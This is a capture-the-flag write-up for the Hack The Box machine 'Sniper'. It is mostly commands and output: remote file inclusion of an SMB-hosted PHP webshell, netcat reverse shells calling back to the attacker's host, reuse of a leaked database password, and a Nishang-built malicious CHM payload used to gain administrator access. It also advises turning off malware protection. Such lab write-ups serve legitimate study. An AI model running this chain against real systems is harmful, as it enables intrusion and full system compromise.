nihilist - Sniper Writeup

Part 2 : Getting User Access

Our nmap scan picked up port 80 so let's investigate it:

We create an account and try to log into it:

However we see that the website seems to be a work in progress. So instead we take a look at the blog:

Now here we see that there is a lang parameter. Let's see if this is vulnerable to Remote File Inclusion (RFI):


[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper]
→ mkdir nihilist

[ 10.10.14.11/23 ] [ /dev/pts/19 ] [~/HTB/sniper]
→ wget https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -O nihilist/webshell.php
--2021-06-21 11:12:59--  https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7205 (7.0K) [text/plain]
Saving to: ‘nihilist/webshell.php’

nihilist/webshell.php                                               100%[======================================================================================================================================================>]   7.04K  --.-KB/s    in 0.003s

2021-06-21 11:13:01 (2.74 MB/s) - ‘nihilist/webshell.php’ saved [7205/7205]

nihilist/webshell.php                                               100%[======================================================================================================================================================>]  25.74K  --.-KB/s    in 0.07s

2021-06-21 09:57:56 (356 KB/s) - ‘nihilist/webshell.php’ saved [26361/26361]

[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ echo '"RFI Successful !" -echo' > nihilist/rfi.html

[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ tree
.
└── nihilist
    ├── rfi.html
    └── webshell.php

1 directory, 2 files

[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper]
→ impacket-smbserver -smb2support nihilist nihilist
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Now let's try to browse to our php webshell:


http://10.10.10.151/blog/?lang=\\10.10.14.11\nihilist\webshell.php

Now when we browse to it we see that the page can't be loaded for some reason, however we do get the box connecting back to us:


[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper]
→ impacket-smbserver -smb2support nihilist nihilist
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.151,49680)
[*] AUTHENTICATE_MESSAGE (\,SNIPER)
[*] User SNIPER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.151,49680)
[*] Remaining connections []
[*] Incoming connection (10.10.10.151,49681)
[*] AUTHENTICATE_MESSAGE (\,SNIPER)
[*] User SNIPER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.151,49681)
[*] Remaining connections []
[*] Incoming connection (10.10.10.151,49682)
[*] AUTHENTICATE_MESSAGE (\,SNIPER)
[*] User SNIPER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

The reason for this, is that impacket-smbserver isn't the most well written tool, so instead we're going to use smbd:


[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~]
→ vim /etc/samba/smb.conf

[...]

[nihilist]
   comment = nihilist's profile
   path = /srv/smb/
   writable = no
   guest ok = yes
   guest only = yes
   read only = yes
   browseable = no
   create mask = 0600
   directory mask = 0700


:wq 

[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ systemctl start smbd
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to start 'smbd.service'.
Authenticating as: nothing,,, (nothing)
Password:
==== AUTHENTICATION COMPLETE ===

[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ systemctl status smbd
● smbd.service - Samba SMB Daemon
     Loaded: loaded (/lib/systemd/system/smbd.service; disabled; vendor preset: disabled)
     Active: active (running) since Mon 2021-06-21 11:28:32 CEST; 3s ago
       Docs: man:smbd(8)
             man:samba(7)
             man:smb.conf(5)
    Process: 2386294 ExecStartPre=/usr/share/samba/update-apparmor-samba-profile (code=exited, status=0/SUCCESS)
   Main PID: 2386303 (smbd)
     Status: "smbd: ready to serve connections..."
      Tasks: 4 (limit: 38376)
     Memory: 14.6M
        CPU: 126ms
     CGroup: /system.slice/smbd.service
             ├─2386303 /usr/sbin/smbd --foreground --no-process-group
             ├─2386306 /usr/sbin/smbd --foreground --no-process-group
             ├─2386307 /usr/sbin/smbd --foreground --no-process-group
             └─2386349 /usr/sbin/smbd --foreground --no-process-group

we move the webshell in the new path:


[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ sudo mkdir /srv/smb/

[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ sudo mv nihilist/webshell.php /srv/smb/webshell.php

And we browse to it:

Now that we have successfully got our RFI, and command execution as iusr, we can start poking around the server more:

Now here we're going to upload the netcat binary to get a reverse shell:


[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ nc -lvnp 9001
listening on [any] 9001 ...

And here we get the reverse shell connection:


[ 10.10.14.11/23 ] [ /dev/pts/25 ] [~/HTB/sniper]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49739
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\temp>whoami
whoami
nt authority\iusr

And here we get a reverse shell as the iusr user, let's see if we have access to the user flag:



C:\temp>cd ..
cd ..

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users

04/11/2019  07:04 AM    DIR>          .
04/11/2019  07:04 AM    DIR>          ..
04/09/2019  06:47 AM    DIR>          Administrator
04/11/2019  07:04 AM    DIR>          Chris
04/09/2019  06:47 AM    DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  17,987,223,552 bytes free

C:\Users>cd Chris
cd Chris
Access is denied.

Looks like we don't, so we will probably need to privesc to the Chris user.


C:\Users>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users> ls
ls


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         4/9/2019   6:47 AM                Administrator
d-----        4/11/2019   7:04 AM                Chris
d-r---         4/9/2019   6:47 AM                Public

Now before we move on, we need to take a look at the db.php file:


PS C:\Users> type C:\inetpub\wwwroot\user\db.php
type C:\inetpub\wwwroot\user\db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

Since Powershell is on the box and we have a potential password for the user Chris, let's see if we acn use the Invoke-Command utility to execute comamnds as the chris user:


PS C:\Users> $password = "36mEAhz/B8xQ~2VM" | ConvertTo-SecureString -asPlainText -Force
PS C:\Users> $username = "nt authority\Chris"

PS C:\Users> $credential = New-Object System.Management.Automation.PSCredential($username,$password)
PS C:\Users> echo $credential

UserName                               Password
--------                               --------
nt authority\Chris System.Security.SecureString

Now that we have created the credential variable, we can try the Invoke-Command as chris:


PS C:\Users> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {whoami}
Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {whoami}
sniper\chris

And we managed to get code execution as the chris user! So now let's spawn another reverse shell as chris this time:


[ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper]
→ cp /home/nothing/HTB/json/nc64.exe .

[ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper]
→ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Now we get nc64.exe onto the box using the chris user:


PS C:\temp>  Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {mkdir C:\temp4chris}

    Directory: C:\


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d-----        6/21/2021  10:56 AM                temp4chris                          sniper

PS C:\temp> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {iwr -uri http://10.10.14.11:8080/nc64.exe -o c:\temp4chris\nc64.exe}

PS C:\temp> Invoke-Command -ComputerName sniper -Credential $credential -ScriptBlock {c:\temp4chris\nc64.exe 10.10.14.11 9002 -e cmd.exe}

Now we catch the incoming reverse shell connection as the chris user on our port 9002:


[ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/sniper]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49770
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Chris\Documents>whoami
whoami
sniper\chris

C:\Users\Chris\Documents>cd ..
cd ..

C:\Users\Chris>cd Desktop
cd Desktop

C:\Users\Chris\Desktop>type user.txt
type user.txt
21XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the user flag.

Part 3 : Getting Root Access

Now in order to gain root access to the box we look for clues on the box, such as in the C:\Docs directory:


C:\Users\Chris>cd C:\Docs
cd C:\Docs

C:\Docs>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

10/01/2019  01:04 PM    DIR>          .
10/01/2019  01:04 PM    DIR>          ..
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               2 File(s)        552,892 bytes
               2 Dir(s)  17,984,839,680 bytes free

C:\Docs>type note.txt
type note.txt
Hi Chris,
        Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

So here we know that the CEO wants Chris to drop a documentation file in C:\Docs. And we get another hint at what type of file the CEO wants when we look at Chris's downloads folder:


PS C:\Users\chris\downloads> dir
dir


    Directory: C:\Users\chris\downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2019   8:36 AM          10462 instructions.chm

This is a hint that we need to create a malicious .chm file (Microsoft Compiled HTML Help file) in C:\Docs. We can use Nishang's Out-CHM powershell script for that:



[ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper]
→ locate Out-CHM.ps1
/usr/share/nishang/Client/Out-CHM.ps1

[ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper]
→ cp /usr/share/nishang/Client/Out-CHM.ps1 .

[ 10.10.14.11/23 ] [ /dev/pts/21 ] [~/HTB/sniper]
→ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Let's download it onto the box:


PS C:\Users\chris\downloads> powershell.exe -ExecutionPolicy Bypass
PS C:\Users\chris\downloads> iwr -uri http://10.10.14.11:8080/Out-CHM.ps1 -o chm.ps1
iwr -uri http://10.10.14.11:8080/Out-CHM.ps1 -o chm.ps1
PS C:\Users\chris\downloads> dir
dir


    Directory: C:\Users\chris\downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/21/2021  11:15 AM          19500 chm.ps1
-a----        4/11/2019   8:36 AM          10462 instructions.chm

Now for whatever reason we can't use that ps1 file ON the box so instead we're going to use it on a windows VM:


PS C:\Users\Administrator\Desktop> iwr -uri http://10.0.0.10:8080/Out-CHM.ps1 -o chm.ps1
PS C:\Users\Administrator\Desktop> import-module .\chm.ps1


Out-CHM -Payload "cd C:/temp4chris/nc64.exe 10.10.14.11 9003 -e cmd.exe"

Now apparently you can't compile this without having Microsoft Compiled HTML Help on your own system, which WS2019 cannot have, so instead we're going to get it on Windows 10


PS C:\Users\nothing\Desktop\Temp>  iwr -uri http://10.0.0.10:8080/Out-CHM.ps1 -o chm.ps1
PS C:\Users\nothing\Desktop\Temp> import-module .\chm.ps1

Make sure you untick everything about malware protection in windows because it will get flagged otherwise. Next step is to install htmlhelp on our local machine:

Once it's done installing, we compile the malicious .chm file:


PS C:\Users\nothing\Desktop\Temp> Out-CHM  -Payload "powershell c:\temp4chris\nc64.exe 10.10.14.11 9003 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\Users\nothing\Desktop\Temp\doc.chm


Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics


Created c:\Users\nothing\Desktop\Temp\doc.chm, 13,454 bytes
Compression increased file by 266 bytes.
PS C:\Users\nothing\Desktop\Temp> dir


    Directory: C:\Users\nothing\Desktop\Temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/21/2021   1:45 PM          13454 doc.chm
-a----         6/21/2021   1:39 PM        3507384 htmlhelp.exe

Now we move that doc.chm file into our smb share:


[ 10.10.14.11/23 ] [ /dev/pts/27 ] [~/HTB/sniper]
→ cd /srv/smb

[ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb]
→ sudo !!

[ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb]
→ sudo wget https://lainsafe.duckdns.org/files/162427600178629.chm -O doc.chm
[sudo] password for nothing:
--2021-06-21 13:47:11--  https://lainsafe.duckdns.org/files/162427600178629.chm
Resolving lainsafe.duckdns.org (lainsafe.duckdns.org)... 159.203.11.15
Connecting to lainsafe.duckdns.org (lainsafe.duckdns.org)|159.203.11.15|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13454 (13K) [application/octet-stream]
Saving to: ‘doc.chm’

doc.chm                         100%[======================================================>]  13.14K  --.-KB/s    in 0s

2021-06-21 13:47:13 (312 MB/s) - ‘doc.chm’ saved [13454/13454]

[ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb]
→ ls -lash
total 76K
4.0K drwxr-xr-x 2 root    root    4.0K Jun 21 13:47 .
4.0K drwxr-xr-x 4 root    root    4.0K Jun 21 11:33 ..
 16K -rw-r--r-- 1 root    root     14K Jun 21 13:46 doc.chm
 44K -rw-r--r-- 1 root    root     43K Jun 21 12:40 nc64.exe
8.0K -rw-r--r-- 1 nothing nothing 7.1K Jun 21 11:13 webshell.php

Now from here we basically copy the doc.chm file into C:\Docs


PS C:\Users\chris\downloads> cd C:\Docs
cd C:\Docs
PS C:\Docs> cp \\10.10.14.11\nihilist\doc.chm
cp \\10.10.14.11\nihilist\doc.chm

And shortly after we recieve the reverse shell connection because our doc.chm file payload got executed:


[ 10.10.14.11/23 ] [ /dev/pts/27 ] [/srv/smb]
→ nc -lvnp 9003
listening on [any] 9003 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.151] 49778
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
sniper\administrator
PS C:\Windows\system32> cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type root.txt
type root.txt
56XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the root flag after recieving the administrator reverse shell connection.

Sniper Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

My Links

About nihilist